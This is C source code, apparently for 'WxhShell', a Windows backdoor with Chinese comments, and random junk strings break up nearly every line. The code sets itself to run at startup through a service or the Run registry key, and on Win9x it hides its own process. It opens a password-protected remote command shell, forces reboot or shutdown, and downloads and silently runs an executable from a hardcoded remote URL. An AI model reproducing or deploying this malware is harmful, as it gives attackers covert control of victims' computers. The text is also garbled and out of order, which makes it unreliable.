0_I"b2Y PROCESS_BASIC_INFORMATION pbi; ; 2-kQK9 ;*H~Yb0 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =u"|qD if(NULL == hInst ) return 0; #h|< > K"$ky,tU g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n(S-F g g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $KHDS:& NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <r3n?w8 (kOv if (!NtQueryInformationProcess) return 0; 31Mc<4zI8 6dp_R2zH~o hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !$#4D&T if(!hProcess) return 0; FY*0gp Dy@NgHe if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3h4"Rv=, 'p]qN;`'O$ CloseHandle(hProcess); EQO7:vb P"@^'yR5WK hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tTp`e0L*m if(hProcess==NULL) return 0; MWf%Lh;R R!CUR~F HMODULE hMod; 2eYkWHi char procName[255]; 6fyW6xv[, unsigned long cbNeeded; | 'G$}]H 5w3'yA<vE if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t[~i})yS \v Go5` CloseHandle(hProcess); <h[^&CY{ H;`@SJBf if(strstr(procName,"services")) return 1; // 以服务启动 dtm@G|Ij tnntHQ&b return 0; // 注册表启动 p9J( ,} } %+}\i'j7 `h#JDcT;a // 主模块 qm@hD>W+ int StartWxhshell(LPSTR lpCmdLine) mi?Fy0\ { d1N&J`R\1 SOCKET wsl; ;$]R#1i44 BOOL val=TRUE; Emo]I[<&q int port=0; 6 ?cV1:jh struct sockaddr_in door; $
a7^3 K\PS$ if(wscfg.ws_autoins) Install(); +H_Z!T.@ i7_BnJJX{B port=atoi(lpCmdLine); TkykI WD]dt!V% if(port<=0) port=wscfg.ws_port; }Na*jr0y9{ SBA;p7^" WSADATA data; XUWza=BR" if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I|hG"i qabM@+m[ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; hLF@'ln setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~W4<M:R door.sin_family = AF_INET; $xqphhBg door.sin_addr.s_addr = inet_addr("127.0.0.1"); )xU70:X door.sin_port = htons(port); 99x]DY 8G=4{,(A if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pn)5neX{ closesocket(wsl); '
x|B' return 1; iJAW| dw} } tfsG
P]9$ `S2=LJ if(listen(wsl,2) == INVALID_SOCKET) { -$*YN{D+ closesocket(wsl); l#%w,gX return 1; CUoMB r } #Ew}@t9 Wxhshell(wsl); {.sF&(e WSACleanup(); 6sntwT"? }'3V(;9 return 0; _ge3R3 =
hpX2/] } hFKYRZtP.8 M@.1P<:h // 以NT服务方式启动 6w5 4+n VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OLv( { ,30&VW## DWORD status = 0; ZNzye1JSm DWORD specificError = 0xfffffff; r..\(r JVU:`BH serviceStatus.dwServiceType = SERVICE_WIN32; c8#A^q} serviceStatus.dwCurrentState = SERVICE_START_PENDING; T-eeYw?Yf serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]^"*Fdn serviceStatus.dwWin32ExitCode = 0; gVk_<;s serviceStatus.dwServiceSpecificExitCode = 0; C";F's) serviceStatus.dwCheckPoint = 0; ><dSwwu serviceStatus.dwWaitHint = 0; :v=Yo JhIgqW2 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R j1Z if (hServiceStatusHandle==0) return; G=(F-U;* +:;r} 7Zh status = GetLastError(); On#RYy^} if (status!=NO_ERROR) 9)'L,Xt4:T { }h>QkV,{2 serviceStatus.dwCurrentState = SERVICE_STOPPED; 0d~>zKho serviceStatus.dwCheckPoint = 0; ?$v#;n?@I serviceStatus.dwWaitHint = 0; V`=#j[gX)= serviceStatus.dwWin32ExitCode = status; cOq^}Ohan serviceStatus.dwServiceSpecificExitCode = specificError; Av]<[ F/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); pX+ `qxF\ return; YeK PoW } Pqi>,c<&mL j!xt&t4D serviceStatus.dwCurrentState = SERVICE_RUNNING; (@>X!]{$ serviceStatus.dwCheckPoint = 0; `XS6t)!ik serviceStatus.dwWaitHint = 0; H0_hQ:K if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k/ls!e? } /w$<0hH#'8 1^TOTY // 处理NT服务事件,比如:启动、停止 +v{<< VOID WINAPI NTServiceHandler(DWORD fdwControl) }mzM'9JH { vE^Hk!^ switch(fdwControl) E80C0Q+V { C AVqjT7 case SERVICE_CONTROL_STOP: ^W{+?q' serviceStatus.dwWin32ExitCode = 0; 0ZlF#PJA serviceStatus.dwCurrentState = SERVICE_STOPPED; ]^uO3!+ serviceStatus.dwCheckPoint = 0; dnSjXyjFB serviceStatus.dwWaitHint = 0; Ni7~
Mjjt { 9K-=2hvv SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;<OIu&,* } k.NgE/;3 return; J*IC&jH: case SERVICE_CONTROL_PAUSE: VnAJOR7lrx serviceStatus.dwCurrentState = SERVICE_PAUSED; tT>~;l%' break; 8&\<p7}=h case SERVICE_CONTROL_CONTINUE: l1fP@| serviceStatus.dwCurrentState = SERVICE_RUNNING; `D6Bw=7 break; >r6`bh
[4 case SERVICE_CONTROL_INTERROGATE: Zu951+&` break; "JzQCY^C }; ?kMG!stgp} SetServiceStatus(hServiceStatusHandle, &serviceStatus); iqW
T<WY } l:5x*QSX *"2TT}) // 标准应用程序主函数 l_Mi'}j int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ' !>t( Sa { }J$Q x'tYf^Va28 // 获取操作系统版本 n$i}r\
so OsIsNt=GetOsVer(); c&vY0/ [ GetModuleFileName(NULL,ExeFile,MAX_PATH); ,#@B3~giC :
z*OAl" // 从命令行安装
Gqvj if(strpbrk(lpCmdLine,"iI")) Install(); f^z/s6I0 S4508l // 下载执行文件 YtI2Vr/9 if(wscfg.ws_downexe) { 7vax[,aI if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t`1E4$Bb\ WinExec(wscfg.ws_filenam,SW_HIDE); C%}}~Y } gh>'O/9 <1cYz\/!M if(!OsIsNt) { *J&XM[t // 如果时win9x,隐藏进程并且设置为注册表启动 u^&2T(xGi HideProc(); P]hS0,sE<( StartWxhshell(lpCmdLine); h)2W}p{a4= } Q{F*%X else q'{LTg0kk if(StartFromService()) 3eX;T +|o // 以服务方式启动 |7KW'=O StartServiceCtrlDispatcher(DispatchTable); PZmg7N else /2Q@M> // 普通方式启动 m08:EXP StartWxhshell(lpCmdLine); h.+{cOA;n GAG=4g return 0; QwPLy O } .4DX/~F DdJ>1504 Wm! lWQu7 RQiGKz5
=========================================== ,w&8 &wj zG)XB*c j}}:&>; |eH>55 b e%.Xya#\ IO3`/R- " NGZEUtj R+,eX jz" #include <stdio.h> m:U.ao6 #include <string.h> gw[\7 #include <windows.h> aD)XxXwozm #include <winsock2.h> lYEMrr!KQw #include <winsvc.h> M| r6"~i #include <urlmon.h> el
GP2x#: g_ 'F(An #pragma comment (lib, "Ws2_32.lib") aBv3vSq>Q #pragma comment (lib, "urlmon.lib") "BSSA%u?c i
Lr*W#E #define MAX_USER 100 // 最大客户端连接数 WrWJ!
#define BUF_SOCK 200 // sock buffer p4mlS #define KEY_BUFF 255 // 输入 buffer J?4aSssE Ws2SD6!4` #define REBOOT 0 // 重启 !}%,rtI #define SHUTDOWN 1 // 关机 ,9jq
@_ W+N9~.q\^ #define DEF_PORT 5000 // 监听端口 #lDf8G|ST~ Z+%Uwj #define REG_LEN 16 // 注册表键长度 /'vCO
|?L #define SVC_LEN 80 // NT服务名长度 uFxhr2
<z : V16bRpjL // 从dll定义API 2E]SKpJ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EAiE@r>4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sbnNk(XINQ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l-|hvv5g typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oS3}xT "
U \Y;LbB8D
// wxhshell配置信息 s>y=-7:N struct WSCFG { AL*P2\8 int ws_port; // 监听端口 %J)n#\ char ws_passstr[REG_LEN]; // 口令 d#~^)r int ws_autoins; // 安装标记, 1=yes 0=no Oa7x(wS char ws_regname[REG_LEN]; // 注册表键名 =~;SUO char ws_svcname[REG_LEN]; // 服务名 R1.No_`PHq char ws_svcdisp[SVC_LEN]; // 服务显示名 n27df9L char ws_svcdesc[SVC_LEN]; // 服务描述信息 =R+z\`2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dMkDNaH, int ws_downexe; // 下载执行标记, 1=yes 0=no MZ" yjQ A char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %N}OMc.W char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yVds2J'w- |M&i#g<A; }; qm30,$\c`~ `>M;f%s // default Wxhshell configuration c6zghP3dR struct WSCFG wscfg={DEF_PORT, v.Fq.
"xuhuanlingzhe", We7~tkl( 1, r2:n
wlG "Wxhshell", Ec!fx\ "Wxhshell", GS),rNBur "WxhShell Service", > Y7nq\ "Wrsky Windows CmdShell Service", BLc&q) "Please Input Your Password: ", aDJ\% 1, yO@KjCv" "http://www.wrsky.com/wxhshell.exe", m~KGB" "Wxhshell.exe" 9Z! j }; (#zSVtZ Rx';P/F0C // 消息定义模块 R7'a/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3&*_5<t\X char *msg_ws_prompt="\n\r? for help\n\r#>"; "YIrqk char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y6LoPJ char *msg_ws_ext="\n\rExit."; ?~G D^F char *msg_ws_end="\n\rQuit."; X6_m&~}15 char *msg_ws_boot="\n\rReboot..."; UdBP2 lGd char *msg_ws_poff="\n\rShutdown..."; \9[_* char *msg_ws_down="\n\rSave to "; hVvPI1[2 S@Rw+#QE char *msg_ws_err="\n\rErr!"; -w8c;5X char *msg_ws_ok="\n\rOK!"; 8Lm}x_
wSrq?U5q char ExeFile[MAX_PATH]; VlGg? int nUser = 0; hAHZN^x& HANDLE handles[MAX_USER]; X^L)5n+$X int OsIsNt; z$'_ =9yZ ZY%]F,Y SERVICE_STATUS serviceStatus; ,,*i!%Adw SERVICE_STATUS_HANDLE hServiceStatusHandle; 4]\f} T<!&6,N A // 函数声明 [c6I/U=- int Install(void); JE~ci#|! int Uninstall(void); ?NazfK int DownloadFile(char *sURL, SOCKET wsh); Bq}p]R3X int Boot(int flag); ["'0vQ void HideProc(void); M,0@@: int GetOsVer(void); eURy] int Wxhshell(SOCKET wsl); ]k2Jf}| void TalkWithClient(void *cs); jI`1>>N&1 int CmdShell(SOCKET sock); a-I3#3VJ@ int StartFromService(void); @S3G> i int StartWxhshell(LPSTR lpCmdLine); D@[Mk"f C %l!"s^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y@&Cn VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?sb
Ob 9Q
4m9} // 数据结构和表定义 W/dl`UDY SERVICE_TABLE_ENTRY DispatchTable[] = eQBR*@x { (h8M {wscfg.ws_svcname, NTServiceMain}, .r~!d| {NULL, NULL} Aj`zT' }; INQ0h `T fFG, ^;7-O // 自我安装 w#v8a$tT int Install(void) Yh%a7K { "zSi9]j char svExeFile[MAX_PATH]; _I;+p eq HKEY key; dQfVdqg strcpy(svExeFile,ExeFile); PZn[Yb: ;lqtw]4v // 如果是win9x系统,修改注册表设为自启动 klC;fm2C if(!OsIsNt) { !mFx= + if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *%JncK' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S4RvWTtQV RegCloseKey(key); q'kZ3G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x \qS|q\N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _D9`L&X} RegCloseKey(key); N>z<v\` return 0; +QcgLq } E\N?D } :+;AXnDM~ } ZKKz?reM' else { G{*m] 0Q bH}6N>Fp // 如果是NT以上系统,安装为系统服务 +^% y&8e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ns_5|*' if (schSCManager!=0) !6_lD0 { :>gzWVE< SC_HANDLE schService = CreateService j-2`yR ( :O:Rfmr~ schSCManager, /s.O3x._' wscfg.ws_svcname, 4^1B'>I wscfg.ws_svcdisp, @fR^":.h SERVICE_ALL_ACCESS, uPk`9c52% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +5pK[%k SERVICE_AUTO_START, TK.a6HJG SERVICE_ERROR_NORMAL, (fON\)l svExeFile, [; M31b3 NULL, [u[`!L= NULL, %OW LM NULL, u}u;jTi>2 NULL, @vWC "W NULL Ui6f>0? ); (uG.s %I if (schService!=0) QF/A-[V { 3nt&Sf CloseServiceHandle(schService); wCiDvHF5+C CloseServiceHandle(schSCManager); srfFJX7* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,<$6-3sC- strcat(svExeFile,wscfg.ws_svcname); ;2"#X2B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A:Z$i5%' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3ThCY` RegCloseKey(key); 7
}`c:u~j return 0; -L>\ 58` } WN9< } %=x|.e@J CloseServiceHandle(schSCManager); Y%9S4be } uN bOtA } IWeQMwg a~YFJAkg9 return 1; L-_dq0T } 0;z-I"N yoTbIQ // 自我卸载 ?29zcuRaru int Uninstall(void) @xR7>-$0p { )e.Y"5My HKEY key; v)@EK6Nty Zd@'s.,J if(!OsIsNt) { LO@.aJpp
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %Kd&A* RegDeleteValue(key,wscfg.ws_regname); ,]@ K6 RegCloseKey(key); q;3,}emg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kYBTmz}z RegDeleteValue(key,wscfg.ws_regname); <{@?c RegCloseKey(key); MdK!Y return 0; .J' 8d"+ } 4?XX_=+F| } c^P8)gPf } _[8xq:G else { [^r0red iorKS+w" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sZFIQ)b9 if (schSCManager!=0) F/9]{H { }OO(uC2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vlCjh! x if (schService!=0) oXwoi! { KNU/Kc# if(DeleteService(schService)!=0) { U#G[#sd> K CloseServiceHandle(schService); A0.)=q CloseServiceHandle(schSCManager); 2UY0:ye return 0; V^aX^ ; } ! *\)7D CloseServiceHandle(schService); JDv7jy } K[Rl R+j CloseServiceHandle(schSCManager); xP3_ } S/-[OA>N } TkhbnO g6 >T{9-_#P return 1; Tz .! } $Tu%dE(OF :@w
;no>=* // 从指定url下载文件 :$d3}TjsA+ int DownloadFile(char *sURL, SOCKET wsh) G1M}g8 ]h { FH}n]T HRESULT hr; y [e$ char seps[]= "/"; yA*~O$~Y char *token; 2|F.J G^ char *file; dT8m$}h9 char myURL[MAX_PATH]; M= !Fb char myFILE[MAX_PATH]; [dFxW6n XOzPi*V** strcpy(myURL,sURL); P8!Vcy938 token=strtok(myURL,seps); CYrVP%xRA while(token!=NULL) r AMnM>` { jPYed@[+ file=token; zR
h1 token=strtok(NULL,seps); fV*x2g7w } Ous[{" -J #6'oor X GetCurrentDirectory(MAX_PATH,myFILE); Vnuz!
6. strcat(myFILE, "\\"); {'Nvs_{6 strcat(myFILE, file); QlIg'B6 send(wsh,myFILE,strlen(myFILE),0); *%(8z~(\ send(wsh,"...",3,0); v=nq P{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kCxmC<34 if(hr==S_OK) raY5 nc{ return 0; S$\lM<M else owZjQ return 1; w=d#y
)1 8lI#D)} } mk_cub@ 7{f&L' // 系统电源模块 +o(t5O[G int Boot(int flag) R'qB-v. { _z\oDd`' HANDLE hToken; @i&LKr8 TOKEN_PRIVILEGES tkp; B1c`(mHl ??12
J# if(OsIsNt) { ~\4l*$3(^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )v;>6( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ('Wo#3b$ tkp.PrivilegeCount = 1; )u ]J`.OA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4;Z`u.1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZH/^``[. if(flag==REBOOT) { .Br2^F if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VJBVk8P return 0; ZT4._|2 } AuHOdiJ else { "o#"u[W, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) epj]n=/}[ return 0; K@U"^
`G2 } <<@\K,= } {,.1KtrSN else { ,)'!E^n if(flag==REBOOT) { pSkP8'
? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \lCr~D5 return 0; *$/7;CLq } yw"FI!M else { ?H eC+=/Z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SPOg' return 0; ~!meO;|W } pA3j@w } &tw.]3 r!V#@Md return 1; U`K5 DZ~ } P~redX=t@ }cgEC- // win9x进程隐藏模块 }|H]>U& void HideProc(void) (`GO@ { v3[Z]+ ] gg'lb{oG HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9X,dV7 yW if ( hKernel != NULL ) $5r[YdnY< { w;0NtV| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o4o&} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s#;|8_L
M FreeLibrary(hKernel); IGEf*! } Namw[TgJ /u!I2DF return; ,d)!&y } vrm[sP K+dkImkh // 获取操作系统版本 AR`X2m ' int GetOsVer(void) tS#EqMf&o { LkMhS0?(T OSVERSIONINFO winfo; gsI"G winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }XaO~] GetVersionEx(&winfo); 1d7oR`qr if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +
htTrHjt return 1; zBay 3a else ;WJ}zjo > return 0; Wd~aSz9 } o; { TU$/3fp* // 客户端句柄模块 Me yQ`% int Wxhshell(SOCKET wsl) @JT9utct { %lbSV}V) SOCKET wsh; IKKd struct sockaddr_in client; L-^vlP)Vu DWORD myID; 3^q,'!PfB 4} 'Xrg while(nUser<MAX_USER) O;ZU{VY { `/f9
mn int nSize=sizeof(client); C 6Bh[:V& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2uZ
<q?= if(wsh==INVALID_SOCKET) return 1; :1q+[T/ @ A1{P"p! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -_
.f&l8 if(handles[nUser]==0) .6xP>!E}Q closesocket(wsh); ,E3"AisI else { r`l nUser++; zwN;CD1 } -dsB@nPiUw WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2WIL0Siwl Pr{? A]dQ return 0; ?Bq"9*q } :7D&=n ) m/|>4~ // 关闭 socket (Z=ziopDE void CloseIt(SOCKET wsh) M]!R}<]{ { as)2ny! u closesocket(wsh); {0q;:7Bt nUser--; 8;4vr@EV ExitThread(0); Pqo_+fL+ } Op,Ce4A bENfEOf, // 客户端请求句柄 =#&K\ void TalkWithClient(void *cs) Id
*Gs>4U { jx!)N> lInq= SOCKET wsh=(SOCKET)cs; ro6|N?' char pwd[SVC_LEN]; |0U"#xkf char cmd[KEY_BUFF]; $B7<1{<=W char chr[1]; e7t).s)b{ int i,j; >1`FRw< P1vr}J while (nUser < MAX_USER) { Vpt)?];P R<Ojaj=V if(wscfg.ws_passstr) { sT[)r]`T if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xoTS?7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ! oLrN/- //ZeroMemory(pwd,KEY_BUFF); R,C)|*ef i=0; 0J_ AX while(i<SVC_LEN) { a^< ({yuwH?tH // 设置超时 LU_@8i: fd_set FdRead; >T%Jlj3ZG struct timeval TimeOut; ~cz]Rhq FD_ZERO(&FdRead); Dn) =V. FD_SET(wsh,&FdRead); &9$0v" `H TimeOut.tv_sec=8; 9qIUBH e TimeOut.tv_usec=0;
$Tfq9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t LdBnf if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a^'1o9 $yIcut7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VQZ3&]o pwd=chr[0]; 9U>ID{ if(chr[0]==0xd || chr[0]==0xa) { LG [2u pwd=0; ;9q3FuR break; YPDc
/ } ?1xBhKq i++; }Jk.c~P) } 7ks09Cy Gnj;=f // 如果是非法用户,关闭 socket (zWzF_v if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '&W`x5`t } <]b}R;9v j?jEWreq]~ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4))u*c/, send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QUaz;kNC7 #StD]d while(1) { X"(!\{ySI; I--WS[ ZeroMemory(cmd,KEY_BUFF); `4.Wdi-Si s24-X1d(9 // 自动支持客户端 telnet标准 f62z9)`^ j=0; mq[(yR while(j<KEY_BUFF) { WHBQA\4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZFOYYht cmd[j]=chr[0]; UG s
<< if(chr[0]==0xa || chr[0]==0xd) { z tHGY cmd[j]=0; &jl'1mZ break; :@wO'
o } iH9g5G`O j++; $N5VoK } k)'hNk"x #-'=)l}i1A // 下载文件 =jkC]0qx
if(strstr(cmd,"http://")) { aj20, w send(wsh,msg_ws_down,strlen(msg_ws_down),0); R)I 8 ) if(DownloadFile(cmd,wsh)) X8ev uN send(wsh,msg_ws_err,strlen(msg_ws_err),0); 82~UI'f \ else #~Lh#@h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rnIv|q6@ } R9o:{U] else { *GfGyOS( '< |